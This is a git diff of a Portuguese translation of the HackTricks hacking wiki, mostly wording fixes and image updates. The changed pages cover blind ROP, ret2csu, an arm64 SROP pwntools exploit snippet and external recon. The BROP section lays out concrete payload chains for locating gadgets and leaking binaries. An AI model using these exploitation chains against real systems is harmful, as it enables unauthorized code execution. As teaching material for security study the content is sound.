diff --git a/.gitbook/assets/image (1) (1) (1).png b/.gitbook/assets/image (1) (1) (1).png
index ee3722524..e70bceed6 100644
Binary files a/.gitbook/assets/image (1) (1) (1).png and b/.gitbook/assets/image (1) (1) (1).png differ
diff --git a/.gitbook/assets/image (1) (1).png b/.gitbook/assets/image (1) (1).png
index e70bceed6..d798d9edc 100644
Binary files a/.gitbook/assets/image (1) (1).png and b/.gitbook/assets/image (1) (1).png differ
diff --git a/.gitbook/assets/image (1).png b/.gitbook/assets/image (1).png
index d798d9edc..1ec78aebd 100644
Binary files a/.gitbook/assets/image (1).png and b/.gitbook/assets/image (1).png differ
diff --git a/.gitbook/assets/image (10) (1).png b/.gitbook/assets/image (10) (1).png
index d3370cd6f..00fb8b946 100644
Binary files a/.gitbook/assets/image (10) (1).png and b/.gitbook/assets/image (10) (1).png differ
diff --git a/.gitbook/assets/image (10).png b/.gitbook/assets/image (10).png
index 00fb8b946..210d7bd3f 100644
Binary files a/.gitbook/assets/image (10).png and b/.gitbook/assets/image (10).png differ
diff --git a/.gitbook/assets/image (11) (1).png b/.gitbook/assets/image (11) (1).png
index 78cc16af3..70fe9294a 100644
Binary files a/.gitbook/assets/image (11) (1).png and b/.gitbook/assets/image (11) (1).png differ
diff --git a/.gitbook/assets/image (11).png b/.gitbook/assets/image (11).png
index 70fe9294a..277c44d2c 100644
Binary files a/.gitbook/assets/image (11).png and b/.gitbook/assets/image (11).png differ
diff --git a/.gitbook/assets/image (12) (1).png b/.gitbook/assets/image (12) (1).png
index c29de7533..1a985c3d4 100644
Binary files a/.gitbook/assets/image (12) (1).png and b/.gitbook/assets/image (12) (1).png differ
diff --git a/.gitbook/assets/image (12).png b/.gitbook/assets/image (12).png
index 1a985c3d4..fd5fec3d9 100644
Binary files a/.gitbook/assets/image (12).png and b/.gitbook/assets/image (12).png differ
diff --git a/.gitbook/assets/image (13) (1).png b/.gitbook/assets/image (13) (1).png
index 474931f56..cee86ab50 100644
Binary files a/.gitbook/assets/image (13) (1).png and b/.gitbook/assets/image (13) (1).png differ
diff --git a/.gitbook/assets/image (13).png b/.gitbook/assets/image (13).png
index cee86ab50..4c2c4ab67 100644
Binary files a/.gitbook/assets/image (13).png and b/.gitbook/assets/image (13).png differ
diff --git a/.gitbook/assets/image (14) (1).png b/.gitbook/assets/image (14) (1).png
index 5edd2e9f5..e0b33932e 100644
Binary files a/.gitbook/assets/image (14) (1).png and b/.gitbook/assets/image (14) (1).png differ
diff --git a/.gitbook/assets/image (14).png b/.gitbook/assets/image (14).png
index e0b33932e..f5207ab5b 100644
Binary files a/.gitbook/assets/image (14).png and b/.gitbook/assets/image (14).png differ
diff --git a/.gitbook/assets/image (15) (1).png b/.gitbook/assets/image (15) (1).png
index fed36b16d..e0b33932e 100644
Binary files a/.gitbook/assets/image (15) (1).png and b/.gitbook/assets/image (15) (1).png differ
diff --git a/.gitbook/assets/image (15).png b/.gitbook/assets/image (15).png
index e0b33932e..11fd861cf 100644
Binary files a/.gitbook/assets/image (15).png and b/.gitbook/assets/image (15).png differ
diff --git a/.gitbook/assets/image (16) (1).png b/.gitbook/assets/image (16) (1).png
index b3a5bfb51..354be02ad 100644
Binary files a/.gitbook/assets/image (16) (1).png and b/.gitbook/assets/image (16) (1).png differ
diff --git a/.gitbook/assets/image (16).png b/.gitbook/assets/image (16).png
index 354be02ad..5d7f744a6 100644
Binary files a/.gitbook/assets/image (16).png and b/.gitbook/assets/image (16).png differ
diff --git a/.gitbook/assets/image (17) (1).png b/.gitbook/assets/image (17) (1).png
index 1b412b105..6856b34b8 100644
Binary files a/.gitbook/assets/image (17) (1).png and b/.gitbook/assets/image (17) (1).png differ
diff --git a/.gitbook/assets/image (17).png b/.gitbook/assets/image (17).png
index 6856b34b8..3b1e0666a 100644
Binary files a/.gitbook/assets/image (17).png and b/.gitbook/assets/image (17).png differ
diff --git a/.gitbook/assets/image (2) (1).png b/.gitbook/assets/image (2) (1).png
index 70413c7ff..82f1650c7 100644
Binary files a/.gitbook/assets/image (2) (1).png and b/.gitbook/assets/image (2) (1).png differ
diff --git a/.gitbook/assets/image (2).png b/.gitbook/assets/image (2).png
index 82f1650c7..176e28e26 100644
Binary files a/.gitbook/assets/image (2).png and b/.gitbook/assets/image (2).png differ
diff --git a/.gitbook/assets/image (3) (1).png b/.gitbook/assets/image (3) (1).png
index 2c0467343..f2f640d8c 100644
Binary files a/.gitbook/assets/image (3) (1).png and b/.gitbook/assets/image (3) (1).png differ
diff --git a/.gitbook/assets/image (3).png b/.gitbook/assets/image (3).png
index f2f640d8c..17acb7d7e 100644
Binary files a/.gitbook/assets/image (3).png and b/.gitbook/assets/image (3).png differ
diff --git a/.gitbook/assets/image (4) (1) (1).png b/.gitbook/assets/image (4) (1) (1).png
index 8f2e02767..ffd8adf04 100644
Binary files a/.gitbook/assets/image (4) (1) (1).png and b/.gitbook/assets/image (4) (1) (1).png differ
diff --git a/.gitbook/assets/image (4) (1).png b/.gitbook/assets/image (4) (1).png
index ffd8adf04..ee3722524 100644
Binary files a/.gitbook/assets/image (4) (1).png and b/.gitbook/assets/image (4) (1).png differ
diff --git a/.gitbook/assets/image (4).png b/.gitbook/assets/image (4).png
index ee3722524..92ceed745 100644
Binary files a/.gitbook/assets/image (4).png and b/.gitbook/assets/image (4).png differ
diff --git a/.gitbook/assets/image (5) (1) (1).png b/.gitbook/assets/image (5) (1) (1).png
index 8f87ed9e5..b2c2c3d26 100644
Binary files a/.gitbook/assets/image (5) (1) (1).png and b/.gitbook/assets/image (5) (1) (1).png differ
diff --git a/.gitbook/assets/image (5) (1).png b/.gitbook/assets/image (5) (1).png
index b2c2c3d26..70413c7ff 100644
Binary files a/.gitbook/assets/image (5) (1).png and b/.gitbook/assets/image (5) (1).png differ
diff --git a/.gitbook/assets/image (5).png b/.gitbook/assets/image (5).png
index 70413c7ff..e7f03abf8 100644
Binary files a/.gitbook/assets/image (5).png and b/.gitbook/assets/image (5).png differ
diff --git a/.gitbook/assets/image (6) (1).png b/.gitbook/assets/image (6) (1).png
index 8f87ed9e5..3646dc3f3 100644
Binary files a/.gitbook/assets/image (6) (1).png and b/.gitbook/assets/image (6) (1).png differ
diff --git a/.gitbook/assets/image (6).png b/.gitbook/assets/image (6).png
index 3646dc3f3..e5ab74cb8 100644
Binary files a/.gitbook/assets/image (6).png and b/.gitbook/assets/image (6).png differ
diff --git a/.gitbook/assets/image (7) (1).png b/.gitbook/assets/image (7) (1).png
index a75850811..13854046c 100644
Binary files a/.gitbook/assets/image (7) (1).png and b/.gitbook/assets/image (7) (1).png differ
diff --git a/.gitbook/assets/image (7).png b/.gitbook/assets/image (7).png
index 13854046c..511d74528 100644
Binary files a/.gitbook/assets/image (7).png and b/.gitbook/assets/image (7).png differ
diff --git a/.gitbook/assets/image (8) (1).png b/.gitbook/assets/image (8) (1).png
index 066cf2ec8..6c2c20ea1 100644
Binary files a/.gitbook/assets/image (8) (1).png and b/.gitbook/assets/image (8) (1).png differ
diff --git a/.gitbook/assets/image (8).png b/.gitbook/assets/image (8).png
index 6c2c20ea1..4464dc171 100644
Binary files a/.gitbook/assets/image (8).png and b/.gitbook/assets/image (8).png differ
diff --git a/.gitbook/assets/image (9) (1).png b/.gitbook/assets/image (9) (1).png
index d8f7dcb75..2c0467343 100644
Binary files a/.gitbook/assets/image (9) (1).png and b/.gitbook/assets/image (9) (1).png differ
diff --git a/.gitbook/assets/image (9).png b/.gitbook/assets/image (9).png
index 2c0467343..a3d5f99f0 100644
Binary files a/.gitbook/assets/image (9).png and b/.gitbook/assets/image (9).png differ
diff --git a/.gitbook/assets/image.png b/.gitbook/assets/image.png
index 3b1e0666a..4c7c93f13 100644
Binary files a/.gitbook/assets/image.png and b/.gitbook/assets/image.png differ
diff --git a/README.md b/README.md
index b116b12a1..0c9dc0ee4 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
_Logotipos e design de movimento do Hacktricks por_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_._
{% hint style="success" %}
-**Bem-vindo ao wiki onde você encontrará cada truque/técnica de hacking/o que quer que eu tenha aprendido em CTFs, aplicativos da vida real, pesquisas de leitura e notícias.**
+**Bem-vindo ao wiki onde você encontrará cada truque/técnica de hacking/o que quer que eu tenha aprendido em CTFs, aplicativos da vida real, lendo pesquisas e notícias.**
{% endhint %}
Para começar, siga esta página onde você encontrará o **fluxo típico** que **você deve seguir ao fazer pentesting** em uma ou mais **máquinas:**
@@ -44,7 +44,7 @@ Você pode conferir o **blog** deles em [**https://blog.stmcyber.com**](https://
**Intigriti** é a plataforma de **ethical hacking #1** da Europa e de **bug bounty**.
-Dica de bug bounty: **cadastre-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100.000**!
+Dica de bug bounty: **cadastre-se** no **Intigriti**, uma plataforma premium de **bug bounty criada por hackers, para hackers**! Junte-se a nós em [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoje e comece a ganhar recompensas de até **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %}
@@ -79,7 +79,7 @@ Junte-se ao servidor do [**HackenProof Discord**](https://discord.com/invite/N3F
### [Pentest-Tools.com](https://pentest-tools.com/) - O kit de ferramentas essencial para testes de penetração
-
+
**Configuração instantaneamente disponível para avaliação de vulnerabilidades e testes de penetração**. Execute um pentest completo de qualquer lugar com mais de 20 ferramentas e recursos que vão desde reconhecimento até relatórios. Não substituímos pentesters - desenvolvemos ferramentas personalizadas, módulos de detecção e exploração para dar a eles mais tempo para aprofundar, abrir shells e se divertir.
@@ -89,12 +89,12 @@ Junte-se ao servidor do [**HackenProof Discord**](https://discord.com/invite/N3F
### [SerpApi](https://serpapi.com/)
-
+
A SerpApi oferece APIs rápidas e fáceis em tempo real para **acessar resultados de mecanismos de busca**. Eles raspam mecanismos de busca, lidam com proxies, resolvem captchas e analisam todos os dados estruturados ricos para você.
Uma assinatura de um dos planos da SerpApi inclui acesso a mais de 50 APIs diferentes para raspar diferentes mecanismos de busca, incluindo Google, Bing, Baidu, Yahoo, Yandex e mais.\
-Ao contrário de outros provedores, **a SerpApi não apenas raspa resultados orgânicos**. As respostas da SerpApi consistentemente incluem todos os anúncios, imagens e vídeos embutidos, grafos de conhecimento e outros elementos e recursos presentes nos resultados da pesquisa.
+Ao contrário de outros provedores, a **SerpApi não apenas raspa resultados orgânicos**. As respostas da SerpApi consistentemente incluem todos os anúncios, imagens e vídeos embutidos, grafos de conhecimento e outros elementos e recursos presentes nos resultados da pesquisa.
Clientes atuais da SerpApi incluem **Apple, Shopify e GrubHub**.\
Para mais informações, confira o [**blog deles**](https://serpapi.com/blog/)**,** ou experimente um exemplo em seu [**playground**](https://serpapi.com/playground)**.**\
@@ -118,7 +118,7 @@ Você pode **criar uma conta gratuita** [**aqui**](https://serpapi.com/users/sig
A WebSec é uma **empresa de segurança completa**, o que significa que eles fazem de tudo; Pentesting, Auditorias de Segurança, Treinamentos de Conscientização, Campanhas de Phishing, Revisão de Código, Desenvolvimento de Exploits, Terceirização de Especialistas em Segurança e muito mais.
-Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a ponto de **garantir os melhores resultados de qualidade**, como afirmado em seu site "**Se não conseguirmos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
+Outra coisa legal sobre a WebSec é que, ao contrário da média da indústria, a WebSec é **muito confiante em suas habilidades**, a ponto de **garantir os melhores resultados de qualidade**, como declarado em seu site "**Se não conseguirmos hackear, você não paga!**". Para mais informações, dê uma olhada em seu [**site**](https://websec.nl/en/) e [**blog**](https://websec.nl/blog/)!
Além do acima, a WebSec também é um **apoiador comprometido do HackTricks.**
@@ -131,7 +131,7 @@ Além do acima, a WebSec também é um **apoiador comprometido do HackTricks.**
O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares que roubam informações.
-Você pode verificar o site deles e experimentar o mecanismo gratuitamente em:
+Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
diff --git a/SUMMARY.md b/SUMMARY.md
index 9c3525572..edb46a455 100644
--- a/SUMMARY.md
+++ b/SUMMARY.md
@@ -373,7 +373,8 @@
* [Firebase Database](network-services-pentesting/pentesting-web/buckets/firebase-database.md)
* [CGI](network-services-pentesting/pentesting-web/cgi.md)
* [DotNetNuke (DNN)](network-services-pentesting/pentesting-web/dotnetnuke-dnn.md)
- * [Drupal](network-services-pentesting/pentesting-web/drupal.md)
+ * [Drupal](network-services-pentesting/pentesting-web/drupal/README.md)
+ * [Drupal RCE](network-services-pentesting/pentesting-web/drupal/drupal-rce.md)
* [Electron Desktop Apps](network-services-pentesting/pentesting-web/electron-desktop-apps/README.md)
* [Electron contextIsolation RCE via preload code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-preload-code.md)
* [Electron contextIsolation RCE via Electron internal code](network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-electron-internal-code.md)
diff --git a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
index 4cfb9723a..d689938a2 100644
--- a/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
+++ b/binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md
@@ -6,7 +6,7 @@
Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@@ -34,22 +34,22 @@ Você pode encontrar mais informações sobre esses processos [aqui (BF Forked &
### **4. Encontrar o gadget de parada**
-Este gadget basicamente permite confirmar que algo interessante foi executado pelo gadget ROP porque a execução não travou. Geralmente, este gadget será algo que **interrompe a execução** e é posicionado no final da cadeia ROP ao procurar gadgets ROP específicos que foram executados.
+Este gadget basicamente permite confirmar que algo interessante foi executado pelo gadget ROP porque a execução não travou. Geralmente, esse gadget será algo que **interrompe a execução** e é posicionado no final da cadeia ROP ao procurar gadgets ROP específicos que foram executados.
### **5. Encontrar o gadget BROP**
-Esta técnica usa o gadget [**ret2csu**](ret2csu.md). E isso ocorre porque se você acessar este gadget no meio de algumas instruções, você obtém gadgets para controlar **`rsi`** e **`rdi`**:
+Esta técnica usa o gadget [**ret2csu**](ret2csu.md). E isso ocorre porque se você acessar esse gadget no meio de algumas instruções, você obtém gadgets para controlar **`rsi`** e **`rdi`**:
-
+
-Estes seriam os gadgets:
+Esses seriam os gadgets:
* `pop rsi; pop r15; ret`
* `pop rdi; ret`
Observe como com esses gadgets é possível **controlar 2 argumentos** de uma função a ser chamada.
-Também observe que o gadget ret2csu tem uma **assinatura muito única** porque ele vai desempilhar 6 registradores da pilha. Então, enviando uma cadeia como:
+Além disso, observe que o gadget ret2csu tem uma **assinatura muito única** porque ele vai desempilhar 6 registradores da pilha. Então, enviando uma cadeia como:
`'A' * deslocamento + canário + rbp + ADDR + 0xdead * 6 + STOP`
@@ -59,7 +59,7 @@ Para **remover esta última opção** uma nova cadeia como a seguinte é executa
`'A' * deslocamento + canário + rbp + ADDR`
-Conhecendo o endereço do gadget ret2csu, é possível **inferir o endereço dos gadgets para controlar `rsi` e `rdi`**.
+Sabendo o endereço do gadget ret2csu, é possível **inferir o endereço dos gadgets para controlar `rsi` e `rdi`**.
### 6. Encontrar PLT
@@ -73,7 +73,7 @@ Portanto, é possível encontrar a tabela PLT verificando os seguintes comportam
### 7. Encontrar strcmp
-A função **`strcmp`** define o registrador **`rdx`** como o comprimento da string sendo comparada. Note que **`rdx`** é o **terceiro argumento** e precisamos que ele seja **maior que 0** para posteriormente usar `write` para vazar o programa.
+A função **`strcmp`** define o registrador **`rdx`** como o comprimento da string sendo comparada. Observe que **`rdx`** é o **terceiro argumento** e precisamos que ele seja **maior que 0** para posteriormente usar `write` para vazar o programa.
É possível encontrar a localização do **`strcmp`** na PLT com base em seu comportamento usando o fato de que agora podemos controlar os 2 primeiros argumentos das funções:
@@ -82,7 +82,7 @@ A função **`strcmp`** define o registrador **`rdx`** como o comprimento da str
* strcmp(\, \) -> travamento
* strcmp(\, \) -> sem travamento
-É possível verificar isso chamando cada entrada da tabela PLT ou usando o **caminho lento da PLT** que basicamente consiste em **chamar uma entrada na tabela PLT + 0xb** (que chama para **`dlresolve`**) seguido na pilha pelo **número de entrada que se deseja sondar** (começando em zero) para escanear todas as entradas da PLT:
+É possível verificar isso chamando cada entrada da tabela PLT ou usando o **caminho lento da PLT** que basicamente consiste em **chamar uma entrada na tabela PLT + 0xb** (que chama para **`dlresolve`**) seguido na pilha pelo **número de entrada que se deseja sondar** (começando em zero) para escanear todas as entradas da PLT a partir da primeira:
* strcmp(\, \) -> travamento
* `b'A' * deslocamento + canário + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Vai travar
@@ -91,7 +91,7 @@ A função **`strcmp`** define o registrador **`rdx`** como o comprimento da str
* strcmp(\, \) -> sem travamento
* `b'A' * deslocamento + canário + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
-Lembre-se que:
+Lembre-se de que:
* BROP + 0x7 aponta para **`pop RSI; pop R15; ret;`**
* BROP + 0x9 aponta para **`pop RDI; ret;`**
@@ -108,9 +108,9 @@ Finalmente, é necessário um gadget que exfiltra dados para exfiltrar o binári
Existem 3 funções comuns que poderiam ser abusadas para isso:
-- `puts(data)`
-- `dprintf(fd, data)`
-- `write(fd, data, len(data)`
+* `puts(data)`
+* `dprintf(fd, data)`
+* `write(fd, data, len(data)`
No entanto, o artigo original menciona apenas o **`write`**, então vamos falar sobre ele:
@@ -120,15 +120,29 @@ No entanto, sabemos **onde está a tabela PLT** e é possível encontrar write c
Assinaturas de comportamento para encontrar essas funções:
-- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então puts foi encontrado
-- `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então dprintf foi encontrado
-- `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então write foi encontrado
+* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então puts foi encontrado
+* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então dprintf foi encontrado
+* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Se houver dados impressos, então write foi encontrado
## Exploração Automática
-- [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
+* [https://github.com/Hakumarachi/Bropper](https://github.com/Hakumarachi/Bropper)
## Referências
-- Artigo original: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
-- [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
+* Artigo original: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
+* [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
+
+
+
+Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
+
+Outras maneiras de apoiar o HackTricks:
+
+* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
+* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+
+
diff --git a/binary-exploitation/rop-return-oriented-programing/ret2csu.md b/binary-exploitation/rop-return-oriented-programing/ret2csu.md
index c7980a9de..6b2490f22 100644
--- a/binary-exploitation/rop-return-oriented-programing/ret2csu.md
+++ b/binary-exploitation/rop-return-oriented-programing/ret2csu.md
@@ -4,9 +4,9 @@
Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
-Outras formas de apoiar o HackTricks:
+Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
@@ -36,7 +36,7 @@ pop r14;
pop r15;
ret;
```
-Este gadget nos permite controlar esses registradores ao retirar valores da pilha para eles.
+Este gadget nos permite controlar esses registradores ao retirar valores da pilha e colocá-los neles.
2. A segunda sequência utiliza os valores que configuramos para fazer algumas coisas:
* **Mover valores específicos para outros registradores**, preparando-os para serem usados como parâmetros em funções.
@@ -62,7 +62,7 @@ ret
As condições serão:
* `[r12 + rbx*8]` deve apontar para um endereço que armazena uma função chamável (se não tiver ideia e não tiver PIE, você pode simplesmente usar a função `_init`):
-* Se \_init estiver em `0x400560`, use o GEF para procurar um ponteiro na memória para ele e faça `[r12 + rbx*8]` ser o endereço com o ponteiro para \_init:
+* Se \_init estiver em `0x400560`, use o GEF para procurar por um ponteiro na memória para ele e faça `[r12 + rbx*8]` ser o endereço com o ponteiro para \_init:
```bash
# Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
gef➤ search-pattern 0x400560
@@ -79,7 +79,7 @@ gef➤ search-pattern 0x400560
Outra maneira de controlar **`rdi`** e **`rsi`** do gadget ret2csu é acessando offsets específicos:
-
+
Verifique esta página para mais informações:
@@ -180,4 +180,4 @@ target.interactive()
```
### Por que não usar diretamente a libc?
-Normalmente, esses casos também são vulneráveis ao **ret2plt** + **ret2lib**, mas às vezes você precisa controlar mais parâmetros do que é facilmente controlado com os gadgets encontrados diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
+Normalmente esses casos também são vulneráveis ao [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), mas às vezes você precisa controlar mais parâmetros do que são facilmente controlados com os gadgets que você encontra diretamente na libc. Por exemplo, a função `write()` requer três parâmetros, e **encontrar gadgets para definir todos esses diretamente pode não ser possível**.
diff --git a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
index 1d4aed3ae..927bf36f5 100644
--- a/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
+++ b/binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md
@@ -4,7 +4,7 @@
Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
-Outras formas de apoiar o HackTricks:
+Outras maneiras de apoiar o HackTricks:
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
@@ -146,9 +146,9 @@ return 0;
Na seção **`vdso`** é possível encontrar uma chamada para **`sigreturn`** no deslocamento **`0x7b0`**:
-
+
-Portanto, se vazado, é possível **usar este endereço para acessar um `sigreturn`** se o binário não estiver carregando-o:
+Portanto, se vazado, é possível **usar este endereço para acessar um `sigreturn`** se o binário não o estiver carregando:
```python
from pwn import *
@@ -177,7 +177,7 @@ payload += bytes(frame)
p.sendline(payload)
p.interactive()
```
-Para mais informações sobre o vdso, verifique:
+Para obter mais informações sobre vdso, verifique:
{% content-ref url="../ret2vdso.md" %}
[ret2vdso.md](../ret2vdso.md)
diff --git a/generic-methodologies-and-resources/external-recon-methodology/README.md b/generic-methodologies-and-resources/external-recon-methodology/README.md
index a483481c4..38d5c23fd 100644
--- a/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -2,25 +2,25 @@
-Aprenda hacking AWS do zero ao herói comhtARTE (HackTricks AWS Red Team Expert)!
+Aprenda hacking AWS do zero ao avançado comhtARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
-* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
-* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
+* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
+* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
-
+
-Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrita e falada necessária_).
+Se você está interessado em uma **carreira de hacking** e hackear o inquebrável - **estamos contratando!** (_fluência em polonês escrito e falado é necessária_).
{% embed url="https://www.stmcyber.com/careers" %}
-## Descoberta de Ativos
+## Descobertas de Ativos
> Então disseram a você que tudo pertencente a uma empresa está dentro do escopo, e você quer descobrir o que essa empresa realmente possui.
@@ -33,7 +33,7 @@ O objetivo desta fase é obter todas as **empresas pertencentes à empresa princ
### **Aquisições**
-Antes de tudo, precisamos saber quais **outras empresas são de propriedade da empresa principal**.\
+Em primeiro lugar, precisamos saber quais **outras empresas são de propriedade da empresa principal**.\
Uma opção é visitar [https://www.crunchbase.com/](https://www.crunchbase.com), **pesquisar** pela **empresa principal** e **clicar** em "**aquisições**". Lá você verá outras empresas adquiridas pela principal.\
